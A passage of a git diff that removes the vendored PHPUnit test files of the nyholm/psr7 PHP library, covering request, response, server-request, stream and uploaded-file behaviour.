testNullBody() - { - $r = new Request('GET', '/', [], null); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('', (string) $r->getBody()); - } - - public function testFalseyBody() - { - $r = new Request('GET', '/', [], '0'); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('0', (string) $r->getBody()); - } - - public function testConstructorDoesNotReadStreamBody() - { - $body = $this->getMockBuilder(StreamInterface::class)->getMock(); - $body->expects($this->never()) - ->method('__toString'); - - $r = new Request('GET', '/', [], $body); - $this->assertSame($body, $r->getBody()); - } - - public function testWithUri() - { - $r1 = new Request('GET', '/'); - $u1 = $r1->getUri(); - $u2 = new Uri('http://www.example.com'); - $r2 = $r1->withUri($u2); - $this->assertNotSame($r1, $r2); - $this->assertSame($u2, $r2->getUri()); - $this->assertSame($u1, $r1->getUri()); - - $r3 = new Request('GET', '/'); - $u3 = $r3->getUri(); - $r4 = $r3->withUri($u3); - $this->assertSame($r3, $r4, 'If the Request did not change, then there is no need to create a new request object'); - - $u4 = new Uri('/'); - $r5 = $r3->withUri($u4); - $this->assertNotSame($r3, $r5); - } - - public function testSameInstanceWhenSameUri() - { - $r1 = new Request('GET', 'http://foo.com'); - $r2 = $r1->withUri($r1->getUri()); - $this->assertSame($r1, $r2); - } - - public function testWithRequestTarget() - { - $r1 = new Request('GET', '/'); - $r2 = $r1->withRequestTarget('*'); - $this->assertEquals('*', $r2->getRequestTarget()); - $this->assertEquals('/', $r1->getRequestTarget()); - } - - public function testWithInvalidRequestTarget() - { - $r = new Request('GET', '/'); - $this->expectException(\InvalidArgumentException::class); - $r->withRequestTarget('foo bar'); - } - - public function testGetRequestTarget() - { - $r = new Request('GET', 'https://nyholm.tech'); - $this->assertEquals('/', $r->getRequestTarget()); - - $r = new Request('GET', 'https://nyholm.tech/foo?bar=baz'); - $this->assertEquals('/foo?bar=baz', $r->getRequestTarget()); - - $r = new Request('GET', 'https://nyholm.tech?bar=baz'); - $this->assertEquals('/?bar=baz', $r->getRequestTarget()); - } - - public function testRequestTargetDoesNotAllowSpaces() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Invalid request target provided; cannot contain whitespace'); - - $r1 = new Request('GET', '/'); - $r1->withRequestTarget('/foo bar'); - } - - public function testRequestTargetDefaultsToSlash() - { - $r1 = new Request('GET', ''); - $this->assertEquals('/', $r1->getRequestTarget()); - $r2 = new Request('GET', '*'); - $this->assertEquals('*', $r2->getRequestTarget()); - $r3 = new Request('GET', 'http://foo.com/bar baz/'); - $this->assertEquals('/bar%20baz/', $r3->getRequestTarget()); - } - - public function testBuildsRequestTarget() - { - $r1 = new Request('GET', 'http://foo.com/baz?bar=bam'); - $this->assertEquals('/baz?bar=bam', $r1->getRequestTarget()); - } - - public function testBuildsRequestTargetWithFalseyQuery() - { - $r1 = new Request('GET', 'http://foo.com/baz?0'); - $this->assertEquals('/baz?0', $r1->getRequestTarget()); - } - - public function testHostIsAddedFirst() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam', ['Foo' => 'Bar']); - $this->assertEquals([ - 'Host' => ['foo.com'], - 'Foo' => ['Bar'], - ], $r->getHeaders()); - } - - public function testCanGetHeaderAsCsv() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam', [ - 'Foo' => ['a', 'b', 'c'], - ]); - $this->assertEquals('a, b, c', $r->getHeaderLine('Foo')); - $this->assertEquals('', $r->getHeaderLine('Bar')); - } - - public function testHostIsNotOverwrittenWhenPreservingHost() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam', ['Host' => 'a.com']); - $this->assertEquals(['Host' => ['a.com']], $r->getHeaders()); - $r2 = $r->withUri(new Uri('http://www.foo.com/bar'), true); - $this->assertEquals('a.com', $r2->getHeaderLine('Host')); - } - - public function testOverridesHostWithUri() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam'); - $this->assertEquals(['Host' => ['foo.com']], $r->getHeaders()); - $r2 = $r->withUri(new Uri('http://www.baz.com/bar')); - $this->assertEquals('www.baz.com', $r2->getHeaderLine('Host')); - } - - public function testAggregatesHeaders() - { - $r = new Request('GET', '', [ - 'ZOO' => 'zoobar', - 'zoo' => ['foobar', 'zoobar'], - ]); - $this->assertEquals(['ZOO' => ['zoobar', 'foobar', 'zoobar']], $r->getHeaders()); - $this->assertEquals('zoobar, foobar, zoobar', $r->getHeaderLine('zoo')); - } - - public function testSupportNumericHeaders() - { - $r = new Request('GET', '', [ - 'Content-Length' => 200, - ]); - $this->assertSame(['Content-Length' => ['200']], $r->getHeaders()); - $this->assertSame('200', $r->getHeaderLine('Content-Length')); - } - - public function testSupportNumericHeaderNames() - { - $r = new Request( - 'GET', '', [ - '200' => 'NumericHeaderValue', - '0' => 'NumericHeaderValueZero', - ] - ); - - $this->assertSame( - [ - '200' => ['NumericHeaderValue'], - '0' => ['NumericHeaderValueZero'], - ], - $r->getHeaders() - ); - - $this->assertSame(['NumericHeaderValue'], $r->getHeader('200')); - $this->assertSame('NumericHeaderValue', $r->getHeaderLine('200')); - - $this->assertSame(['NumericHeaderValueZero'], $r->getHeader('0')); - $this->assertSame('NumericHeaderValueZero', $r->getHeaderLine('0')); - - $r = $r->withHeader('300', 'NumericHeaderValue2') - ->withAddedHeader('200', ['A', 'B']); - - $this->assertSame( - [ - '200' => ['NumericHeaderValue', 'A', 'B'], - '0' => ['NumericHeaderValueZero'], - '300' => ['NumericHeaderValue2'], - ], - $r->getHeaders() - ); - - $r = $r->withoutHeader('300'); - $this->assertSame( - [ - '200' => ['NumericHeaderValue', 'A', 'B'], - '0' => ['NumericHeaderValueZero'], - ], - $r->getHeaders() - ); - } - - public function testAddsPortToHeader() - { - $r = new Request('GET', 'http://foo.com:8124/bar'); - $this->assertEquals('foo.com:8124', $r->getHeaderLine('host')); - } - - public function testAddsPortToHeaderAndReplacePreviousPort() - { - $r = new Request('GET', 'http://foo.com:8124/bar'); - $r = $r->withUri(new Uri('http://foo.com:8125/bar')); - $this->assertEquals('foo.com:8125', $r->getHeaderLine('host')); - } - - public function testCannotHaveHeaderWithEmptyName() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Header name must be an RFC 7230 compatible string.'); - $r = new Request('GET', 'https://example.com/'); - $r->withHeader('', 'Bar'); - } - - public function testCanHaveHeaderWithEmptyValue() - { - $r = new Request('GET', 'https://example.com/'); - $r = $r->withHeader('Foo', ''); - $this->assertEquals([''], $r->getHeader('Foo')); - } - - public function testUpdateHostFromUri() - { - $request = new Request('GET', '/'); - $request = $request->withUri(new Uri('https://nyholm.tech')); - $this->assertEquals('nyholm.tech', $request->getHeaderLine('Host')); - - $request = new Request('GET', 'https://example.com/'); - $this->assertEquals('example.com', $request->getHeaderLine('Host')); - $request = $request->withUri(new Uri('https://nyholm.tech')); - $this->assertEquals('nyholm.tech', $request->getHeaderLine('Host')); - - $request = new Request('GET', '/'); - $request = $request->withUri(new Uri('https://nyholm.tech:8080')); - $this->assertEquals('nyholm.tech:8080', $request->getHeaderLine('Host')); - - $request = new Request('GET', '/'); - $request = $request->withUri(new Uri('https://nyholm.tech:443')); - $this->assertEquals('nyholm.tech', $request->getHeaderLine('Host')); - } -} diff --git a/vendor/nyholm/psr7/tests/Resources/foo.txt b/vendor/nyholm/psr7/tests/Resources/foo.txt deleted file mode 100644 index 167f616d67..0000000000 --- a/vendor/nyholm/psr7/tests/Resources/foo.txt +++ /dev/null @@ -1 +0,0 @@ -Foobar diff --git a/vendor/nyholm/psr7/tests/ResponseTest.php b/vendor/nyholm/psr7/tests/ResponseTest.php deleted file mode 100644 index 1b157372c2..0000000000 --- a/vendor/nyholm/psr7/tests/ResponseTest.php +++ /dev/null @@ -1,269 +0,0 @@ -assertSame(200, $r->getStatusCode()); - $this->assertSame('1.1', $r->getProtocolVersion()); - $this->assertSame('OK', $r->getReasonPhrase()); - $this->assertSame([], $r->getHeaders()); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('', (string) $r->getBody()); - } - - public function testCanConstructWithStatusCode() - { - $r = new Response(404); - $this->assertSame(404, $r->getStatusCode()); - $this->assertSame('Not Found', $r->getReasonPhrase()); - } - - public function testCanConstructWithUndefinedStatusCode() - { - $r = new Response(999); - $this->assertSame(999, $r->getStatusCode()); - $this->assertSame('', $r->getReasonPhrase()); - } - - public function testCanConstructWithStatusCodeAndEmptyReason() - { - $r = new Response(404, [], null, '1.1', ''); - $this->assertSame(404, $r->getStatusCode()); - $this->assertSame('', $r->getReasonPhrase()); - } - - public function testConstructorDoesNotReadStreamBody() - { - $body = $this->getMockBuilder(StreamInterface::class)->getMock(); - $body->expects($this->never()) - ->method('__toString'); - - $r = new Response(200, [], $body); - $this->assertSame($body, $r->getBody()); - } - - public function testStatusCanBeNumericString() - { - $r = new Response('404'); - $r2 = $r->withStatus('201'); - $this->assertSame(404, $r->getStatusCode()); - $this->assertSame('Not Found', $r->getReasonPhrase()); - $this->assertSame(201, $r2->getStatusCode()); - $this->assertSame('Created', $r2->getReasonPhrase()); - } - - public function testCanConstructWithHeaders() - { - $r = new Response(200, ['Foo' => 'Bar']); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame('Bar', $r->getHeaderLine('Foo')); - $this->assertSame(['Bar'], $r->getHeader('Foo')); - } - - public function testCanConstructWithHeadersAsArray() - { - $r = new Response(200, [ - 'Foo' => ['baz', 'bar'], - ]); - $this->assertSame(['Foo' => ['baz', 'bar']], $r->getHeaders()); - $this->assertSame('baz, bar', $r->getHeaderLine('Foo')); - $this->assertSame(['baz', 'bar'], $r->getHeader('Foo')); - } - - public function testCanConstructWithBody() - { - $r = new Response(200, [], 'baz'); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('baz', (string) $r->getBody()); - } - - public function testNullBody() - { - $r = new Response(200, [], null); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('', (string) $r->getBody()); - } - - public function testFalseyBody() - { - $r = new Response(200, [], '0'); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('0', (string) $r->getBody()); - } - - public function testCanConstructWithReason() - { - $r = new Response(200, [], null, '1.1', 'bar'); - $this->assertSame('bar', $r->getReasonPhrase()); - - $r = new Response(200, [], null, '1.1', '0'); - $this->assertSame('0', $r->getReasonPhrase(), 'Falsey reason works'); - } - - public function testCanConstructWithProtocolVersion() - { - $r = new Response(200, [], null, '1000'); - $this->assertSame('1000', $r->getProtocolVersion()); - } - - public function testWithStatusCodeAndNoReason() - { - $r = (new Response())->withStatus(201); - $this->assertSame(201, $r->getStatusCode()); - $this->assertSame('Created', $r->getReasonPhrase()); - } - - public function testWithStatusCodeAndReason() - { - $r = (new Response())->withStatus(201, 'Foo'); - $this->assertSame(201, $r->getStatusCode()); - $this->assertSame('Foo', $r->getReasonPhrase()); - - $r = (new Response())->withStatus(201, '0'); - $this->assertSame(201, $r->getStatusCode()); - $this->assertSame('0', $r->getReasonPhrase(), 'Falsey reason works'); - } - - public function testWithProtocolVersion() - { - $r = (new Response())->withProtocolVersion('1000'); - $this->assertSame('1000', $r->getProtocolVersion()); - } - - public function testSameInstanceWhenSameProtocol() - { - $r = new Response(); - $this->assertSame($r, $r->withProtocolVersion('1.1')); - } - - public function testWithBody() - { - $b = (new \Nyholm\Psr7\Factory\Psr17Factory())->createStream('0'); - $r = (new Response())->withBody($b); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertSame('0', (string) $r->getBody()); - } - - public function testSameInstanceWhenSameBody() - { - $r = new Response(); - $b = $r->getBody(); - $this->assertSame($r, $r->withBody($b)); - } - - public function testWithHeader() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withHeader('baZ', 'Bam'); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame(['Foo' => ['Bar'], 'baZ' => ['Bam']], $r2->getHeaders()); - $this->assertSame('Bam', $r2->getHeaderLine('baz')); - $this->assertSame(['Bam'], $r2->getHeader('baz')); - } - - public function testWithHeaderAsArray() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withHeader('baZ', ['Bam', 'Bar']); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame(['Foo' => ['Bar'], 'baZ' => ['Bam', 'Bar']], $r2->getHeaders()); - $this->assertSame('Bam, Bar', $r2->getHeaderLine('baz')); - $this->assertSame(['Bam', 'Bar'], $r2->getHeader('baz')); - } - - public function testWithHeaderReplacesDifferentCase() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withHeader('foO', 'Bam'); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame(['foO' => ['Bam']], $r2->getHeaders()); - $this->assertSame('Bam', $r2->getHeaderLine('foo')); - $this->assertSame(['Bam'], $r2->getHeader('foo')); - } - - public function testWithAddedHeader() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withAddedHeader('foO', 'Baz'); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame(['Foo' => ['Bar', 'Baz']], $r2->getHeaders()); - $this->assertSame('Bar, Baz', $r2->getHeaderLine('foo')); - $this->assertSame(['Bar', 'Baz'], $r2->getHeader('foo')); - } - - public function testWithAddedHeaderAsArray() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withAddedHeader('foO', ['Baz', 'Bam']); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame(['Foo' => ['Bar', 'Baz', 'Bam']], $r2->getHeaders()); - $this->assertSame('Bar, Baz, Bam', $r2->getHeaderLine('foo')); - $this->assertSame(['Bar', 'Baz', 'Bam'], $r2->getHeader('foo')); - } - - public function testWithAddedHeaderThatDoesNotExist() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withAddedHeader('nEw', 'Baz'); - $this->assertSame(['Foo' => ['Bar']], $r->getHeaders()); - $this->assertSame(['Foo' => ['Bar'], 'nEw' => ['Baz']], $r2->getHeaders()); - $this->assertSame('Baz', $r2->getHeaderLine('new')); - $this->assertSame(['Baz'], $r2->getHeader('new')); - } - - public function testWithoutHeaderThatExists() - { - $r = new Response(200, ['Foo' => 'Bar', 'Baz' => 'Bam']); - $r2 = $r->withoutHeader('foO'); - $this->assertTrue($r->hasHeader('foo')); - $this->assertSame(['Foo' => ['Bar'], 'Baz' => ['Bam']], $r->getHeaders()); - $this->assertFalse($r2->hasHeader('foo')); - $this->assertSame(['Baz' => ['Bam']], $r2->getHeaders()); - } - - public function testWithoutHeaderThatDoesNotExist() - { - $r = new Response(200, ['Baz' => 'Bam']); - $r2 = $r->withoutHeader('foO'); - $this->assertSame($r, $r2); - $this->assertFalse($r2->hasHeader('foo')); - $this->assertSame(['Baz' => ['Bam']], $r2->getHeaders()); - } - - public function testSameInstanceWhenRemovingMissingHeader() - { - $r = new Response(); - $this->assertSame($r, $r->withoutHeader('foo')); - } - - public function trimmedHeaderValues() - { - return [ - [new Response(200, ['OWS' => " \t \tFoo\t \t "])], - [(new Response())->withHeader('OWS', " \t \tFoo\t \t ")], - [(new Response())->withAddedHeader('OWS', " \t \tFoo\t \t ")], - ]; - } - - /** - * @dataProvider trimmedHeaderValues - */ - public function testHeaderValuesAreTrimmed($r) - { - $this->assertSame(['OWS' => ['Foo']], $r->getHeaders()); - $this->assertSame('Foo', $r->getHeaderLine('OWS')); - $this->assertSame(['Foo'], $r->getHeader('OWS')); - } -} diff --git a/vendor/nyholm/psr7/tests/ServerRequestTest.php b/vendor/nyholm/psr7/tests/ServerRequestTest.php deleted file mode 100644 index 5b72522d91..0000000000 --- a/vendor/nyholm/psr7/tests/ServerRequestTest.php +++ /dev/null @@ -1,116 +0,0 @@ - new UploadedFile('test', 123, UPLOAD_ERR_OK), - ]; - - $request2 = $request1->withUploadedFiles($files); - - $this->assertNotSame($request2, $request1); - $this->assertSame([], $request1->getUploadedFiles()); - $this->assertSame($files, $request2->getUploadedFiles()); - } - - public function testServerParams() - { - $params = ['name' => 'value']; - - $request = new ServerRequest('GET', '/', [], null, '1.1', $params); - $this->assertSame($params, $request->getServerParams()); - } - - public function testCookieParams() - { - $request1 = new ServerRequest('GET', '/'); - - $params = ['name' => 'value']; - - $request2 = $request1->withCookieParams($params); - - $this->assertNotSame($request2, $request1); - $this->assertEmpty($request1->getCookieParams()); - $this->assertSame($params, $request2->getCookieParams()); - } - - public function testQueryParams() - { - $request1 = new ServerRequest('GET', '/'); - - $params = ['name' => 'value']; - - $request2 = $request1->withQueryParams($params); - - $this->assertNotSame($request2, $request1); - $this->assertEmpty($request1->getQueryParams()); - $this->assertSame($params, $request2->getQueryParams()); - } - - public function testParsedBody() - { - $request1 = new ServerRequest('GET', '/'); - - $params = ['name' => 'value']; - - $request2 = $request1->withParsedBody($params); - - $this->assertNotSame($request2, $request1); - $this->assertEmpty($request1->getParsedBody()); - $this->assertSame($params, $request2->getParsedBody()); - } - - public function testAttributes() - { - $request1 = new ServerRequest('GET', '/'); - - $request2 = $request1->withAttribute('name', 'value'); - $request3 = $request2->withAttribute('other', 'otherValue'); - $request4 = $request3->withoutAttribute('other'); - $request5 = $request3->withoutAttribute('unknown'); - - $this->assertNotSame($request2, $request1); - $this->assertNotSame($request3, $request2); - $this->assertNotSame($request4, $request3); - $this->assertNotSame($request5, $request4); - - $this->assertEmpty($request1->getAttributes()); - $this->assertEmpty($request1->getAttribute('name')); - $this->assertEquals( - 'something', - $request1->getAttribute('name', 'something'), - 'Should return the default value' - ); - - $this->assertEquals('value', $request2->getAttribute('name')); - $this->assertEquals(['name' => 'value'], $request2->getAttributes()); - $this->assertEquals(['name' => 'value', 'other' => 'otherValue'], $request3->getAttributes()); - $this->assertEquals(['name' => 'value'], $request4->getAttributes()); - } - - public function testNullAttribute() - { - $request = (new ServerRequest('GET', '/'))->withAttribute('name', null); - - $this->assertSame(['name' => null], $request->getAttributes()); - $this->assertNull($request->getAttribute('name', 'different-default')); - - $requestWithoutAttribute = $request->withoutAttribute('name'); - - $this->assertSame([], $requestWithoutAttribute->getAttributes()); - $this->assertSame('different-default', $requestWithoutAttribute->getAttribute('name', 'different-default')); - } -} diff --git a/vendor/nyholm/psr7/tests/StreamTest.php b/vendor/nyholm/psr7/tests/StreamTest.php deleted file mode 100644 index fdeb0fed87..0000000000 --- a/vendor/nyholm/psr7/tests/StreamTest.php +++ /dev/null @@ -1,216 +0,0 @@ -assertTrue($stream->isReadable()); - $this->assertTrue($stream->isWritable()); - $this->assertTrue($stream->isSeekable()); - $this->assertEquals('php://temp', $stream->getMetadata('uri')); - $this->assertIsArray($stream->getMetadata()); - $this->assertEquals(4, $stream->getSize()); - $this->assertFalse($stream->eof()); - $stream->close(); - } - - public function testStreamClosesHandleOnDestruct() - { - $handle = fopen('php://temp', 'r'); - $stream = Stream::create($handle); - unset($stream); - $this->assertFalse(is_resource($handle)); - } - - public function testConvertsToString() - { - $handle = fopen('php://temp', 'w+'); - fwrite($handle, 'data'); - $stream = Stream::create($handle); - $this->assertEquals('data', (string) $stream); - $this->assertEquals('data', (string) $stream); - $stream->close(); - } - - public function testBuildFromString() - { - $stream = Stream::create('data'); - $this->assertEquals('', $stream->getContents()); - $this->assertEquals('data', $stream->__toString()); - $stream->close(); - } - - public function testGetsContents() - { - $handle = fopen('php://temp', 'w+'); - fwrite($handle, 'data'); - $stream = Stream::create($handle); - $this->assertEquals('', $stream->getContents()); - $stream->seek(0); - $this->assertEquals('data', $stream->getContents()); - $this->assertEquals('', $stream->getContents()); - } - - public function testChecksEof() - { - $handle = fopen('php://temp', 'w+'); - fwrite($handle, 'data'); - $stream = Stream::create($handle); - $this->assertFalse($stream->eof()); - $stream->read(4); - $this->assertTrue($stream->eof()); - $stream->close(); - } - - public function testGetSize() - { - $size = filesize(__FILE__); - $handle = fopen(__FILE__, 'r'); - $stream = Stream::create($handle); - $this->assertEquals($size, $stream->getSize()); - // Load from cache - $this->assertEquals($size, $stream->getSize()); - $stream->close(); - } - - public function testEnsuresSizeIsConsistent() - { - $h = fopen('php://temp', 'w+'); - $this->assertEquals(3, fwrite($h, 'foo')); - $stream = Stream::create($h); - $this->assertEquals(3, $stream->getSize()); - $this->assertEquals(4, $stream->write('test')); - $this->assertEquals(7, $stream->getSize()); - $this->assertEquals(7, $stream->getSize()); - $stream->close(); - } - - public function testProvidesStreamPosition() - { - $handle = fopen('php://temp', 'w+'); - $stream = Stream::create($handle); - $this->assertEquals(0, $stream->tell()); - $stream->write('foo'); - $this->assertEquals(3, $stream->tell()); - $stream->seek(1); - $this->assertEquals(1, $stream->tell()); - $this->assertSame(ftell($handle), $stream->tell()); - $stream->close(); - } - - public function testCanDetachStream() - { - $r = fopen('php://temp', 'w+'); - $stream = Stream::create($r); - $stream->write('foo'); - $this->assertTrue($stream->isReadable()); - $this->assertSame($r, $stream->detach()); - $stream->detach(); - - $this->assertFalse($stream->isReadable()); - $this->assertFalse($stream->isWritable()); - $this->assertFalse($stream->isSeekable()); - - $throws = function (callable $fn) use ($stream) { - try { - $fn($stream); - $this->fail(); - } catch (\Exception $e) { - // Suppress the exception - } - }; - - $throws(function ($stream) { - $stream->read(10); - }); - $throws(function ($stream) { - $stream->write('bar'); - }); - $throws(function ($stream) { - $stream->seek(10); - }); - $throws(function ($stream) { - $stream->tell(); - }); - $throws(function ($stream) { - $stream->eof(); - }); - $throws(function ($stream) { - $stream->getSize(); - }); - $throws(function ($stream) { - $stream->getContents(); - }); - if (\PHP_VERSION_ID >= 70400) { - $throws(function ($stream) { - (string) $stream; - }); - } else { - $this->assertSame('', (string) $stream); - - SymfonyErrorHandler::register(); - $throws(function ($stream) { - (string) $stream; - }); - restore_error_handler(); - restore_exception_handler(); - } - - $stream->close(); - } - - public function testCloseClearProperties() - { - $handle = fopen('php://temp', 'r+'); - $stream = Stream::create($handle); - $stream->close(); - - $this->assertFalse($stream->isSeekable()); - $this->assertFalse($stream->isReadable()); - $this->assertFalse($stream->isWritable()); - $this->assertNull($stream->getSize()); - $this->assertEmpty($stream->getMetadata()); - } - - public function testUnseekableStreamWrapper() - { - stream_wrapper_register('nyholm-psr7-test', TestStreamWrapper::class); - $handle = fopen('nyholm-psr7-test://', 'r'); - stream_wrapper_unregister('nyholm-psr7-test'); - - $stream = Stream::create($handle); - $this->assertFalse($stream->isSeekable()); - } -} - -class TestStreamWrapper -{ - public $context; - - public function stream_open() - { - return true; - } - - public function stream_seek(int $offset, int $whence = SEEK_SET) - { - return false; - } - - public function stream_eof() - { - return true; - } -} diff --git a/vendor/nyholm/psr7/tests/UploadedFileTest.php b/vendor/nyholm/psr7/tests/UploadedFileTest.php deleted file mode 100644 index 0229c24361..0000000000 --- a/vendor/nyholm/psr7/tests/UploadedFileTest.php +++ /dev/null @@ -1,268 +0,0 @@ -cleanup = []; - } - - public function tearDown(): void - { - foreach ($this->cleanup as $file) { - if (is_scalar($file) && file_exists($file)) { - unlink($file); - } - } - } - - public function invalidStreams() - { - return [ - 'null' => [null], - 'true' => [true], - 'false' => [false], - 'int' => [1], - 'float' => [1.1], - 'array' => [['filename']], - 'object' => [(object) ['filename']], - ]; - } - - /** - * @dataProvider invalidStreams - */ - public function testRaisesExceptionOnInvalidStreamOrFile($streamOrFile) - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Invalid stream or file provided for UploadedFile'); - - new UploadedFile($streamOrFile, 0, UPLOAD_ERR_OK); - } - - public function invalidErrorStatuses() - { - return [ - 'null' => [null], - 'true' => [true], - 'false' => [false], - 'float' => [1.1], - 'string' => ['1'], - 'array' => [[1]], - 'object' => [(object) [1]], - 'negative' => [-1], - 'too-big' => [9], - ]; - } - - /** - * @dataProvider invalidErrorStatuses - */ - public function testRaisesExceptionOnInvalidErrorStatus($status) - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('status'); - - new UploadedFile(fopen('php://temp', 'wb+'), 0, $status); - } - - public function invalidFilenamesAndMediaTypes() - { - return [ - 'true' => [true], - 'false' => [false], - 'int' => [1], - 'float' => [1.1], - 'array' => [['string']], - 'object' => [(object) ['string']], - ]; - } - - /** - * @dataProvider invalidFilenamesAndMediaTypes - */ - public function testRaisesExceptionOnInvalidClientFilename($filename) - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('filename'); - - new UploadedFile(fopen('php://temp', 'wb+'), 0, UPLOAD_ERR_OK, $filename); - } - - /** - * @dataProvider invalidFilenamesAndMediaTypes - */ - public function testRaisesExceptionOnInvalidClientMediaType($mediaType) - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('media type'); - - new UploadedFile(fopen('php://temp', 'wb+'), 0, UPLOAD_ERR_OK, 'foobar.baz', $mediaType); - } - - public function testGetStreamReturnsOriginalStreamObject() - { - $stream = Stream::create(''); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->assertSame($stream, $upload->getStream()); - } - - public function testGetStreamReturnsWrappedPhpStream() - { - $stream = fopen('php://temp', 'wb+'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - $uploadStream = $upload->getStream()->detach(); - - $this->assertSame($stream, $uploadStream); - } - - public function testGetStream() - { - $upload = new UploadedFile(__DIR__.'/Resources/foo.txt', 0, UPLOAD_ERR_OK); - $stream = $upload->getStream(); - $this->assertInstanceOf(StreamInterface::class, $stream); - $this->assertEquals('Foobar'.PHP_EOL, $stream->__toString()); - } - - public function testSuccessful() - { - $stream = Stream::create('Foo bar!'); - $upload = new UploadedFile($stream, $stream->getSize(), UPLOAD_ERR_OK, 'filename.txt', 'text/plain'); - - $this->assertEquals($stream->getSize(), $upload->getSize()); - $this->assertEquals('filename.txt', $upload->getClientFilename()); - $this->assertEquals('text/plain', $upload->getClientMediaType()); - - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'successful'); - $upload->moveTo($to); - $this->assertFileExists($to); - $this->assertEquals($stream->__toString(), file_get_contents($to)); - } - - public function invalidMovePaths() - { - return [ - 'null' => [null], - 'true' => [true], - 'false' => [false], - 'int' => [1], - 'float' => [1.1], - 'empty' => [''], - 'array' => [['filename']], - 'object' => [(object) ['filename']], - ]; - } - - /** - * @dataProvider invalidMovePaths - */ - public function testMoveRaisesExceptionForInvalidPath($path) - { - $stream = (new \Nyholm\Psr7\Factory\Psr17Factory())->createStream('Foo bar!'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->cleanup[] = $path; - - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('path'); - $upload->moveTo($path); - } - - public function testMoveCannotBeCalledMoreThanOnce() - { - $stream = (new \Nyholm\Psr7\Factory\Psr17Factory())->createStream('Foo bar!'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'diac'); - $upload->moveTo($to); - $this->assertTrue(file_exists($to)); - - $this->expectException(\RuntimeException::class); - $this->expectExceptionMessage('moved'); - $upload->moveTo($to); - } - - public function testCannotRetrieveStreamAfterMove() - { - $stream = (new \Nyholm\Psr7\Factory\Psr17Factory())->createStream('Foo bar!'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'diac'); - $upload->moveTo($to); - $this->assertFileExists($to); - - $this->expectException(\RuntimeException::class); - $this->expectExceptionMessage('moved'); - $upload->getStream(); - } - - public function nonOkErrorStatus() - { - return [ - 'UPLOAD_ERR_INI_SIZE' => [UPLOAD_ERR_INI_SIZE], - 'UPLOAD_ERR_FORM_SIZE' => [UPLOAD_ERR_FORM_SIZE], - 'UPLOAD_ERR_PARTIAL' => [UPLOAD_ERR_PARTIAL], - 'UPLOAD_ERR_NO_FILE' => [UPLOAD_ERR_NO_FILE], - 'UPLOAD_ERR_NO_TMP_DIR' => [UPLOAD_ERR_NO_TMP_DIR], - 'UPLOAD_ERR_CANT_WRITE' => [UPLOAD_ERR_CANT_WRITE], - 'UPLOAD_ERR_EXTENSION' => [UPLOAD_ERR_EXTENSION], - ]; - } - - /** - * @dataProvider nonOkErrorStatus - */ - public function testConstructorDoesNotRaiseExceptionForInvalidStreamWhenErrorStatusPresent($status) - { - $uploadedFile = new UploadedFile('not ok', 0, $status); - $this->assertSame($status, $uploadedFile->getError()); - } - - /** - * @dataProvider nonOkErrorStatus - */ - public function testMoveToRaisesExceptionWhenErrorStatusPresent($status) - { - $uploadedFile = new UploadedFile('not ok', 0, $status); - $this->expectException(\RuntimeException::class); - $this->expectExceptionMessage('upload error'); - $uploadedFile->moveTo(__DIR__.'/'.uniqid()); - } - - /** - * @dataProvider nonOkErrorStatus - */ - public function testGetStreamRaisesExceptionWhenErrorStatusPresent($status) - { - $uploadedFile = new UploadedFile('not ok', 0, $status); - $this->expectException(\RuntimeException::class); - $this->expectExceptionMessage('upload error'); - $uploadedFile->getStream(); - } - - public function testMoveToCreatesStreamIfOnlyAFilenameWasProvided() - { - $this->cleanup[] = $from = tempnam(sys_get_temp_dir(), 'copy_from'); - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'copy_to'); - - copy(__FILE__, $from); - - $uploadedFile = new UploadedFile($from, 100, UPLOAD_ERR_OK, basename($from), 'text/plain'); - $uploadedFile->moveTo($to); - - $this->assertFileEquals(__FILE__, $to); - } -} diff --git a/vendor/nyholm/psr7/tests/UriTest.php b/vendor/nyholm/psr7/tests/UriTest.php deleted file mode 100644 index 4311872aea..0000000000 --- a/vendor/nyholm/psr7/tests/UriTest.php +++ /dev/null @@ -1,497 +0,0 @@ -assertSame('https', $uri->getScheme()); - 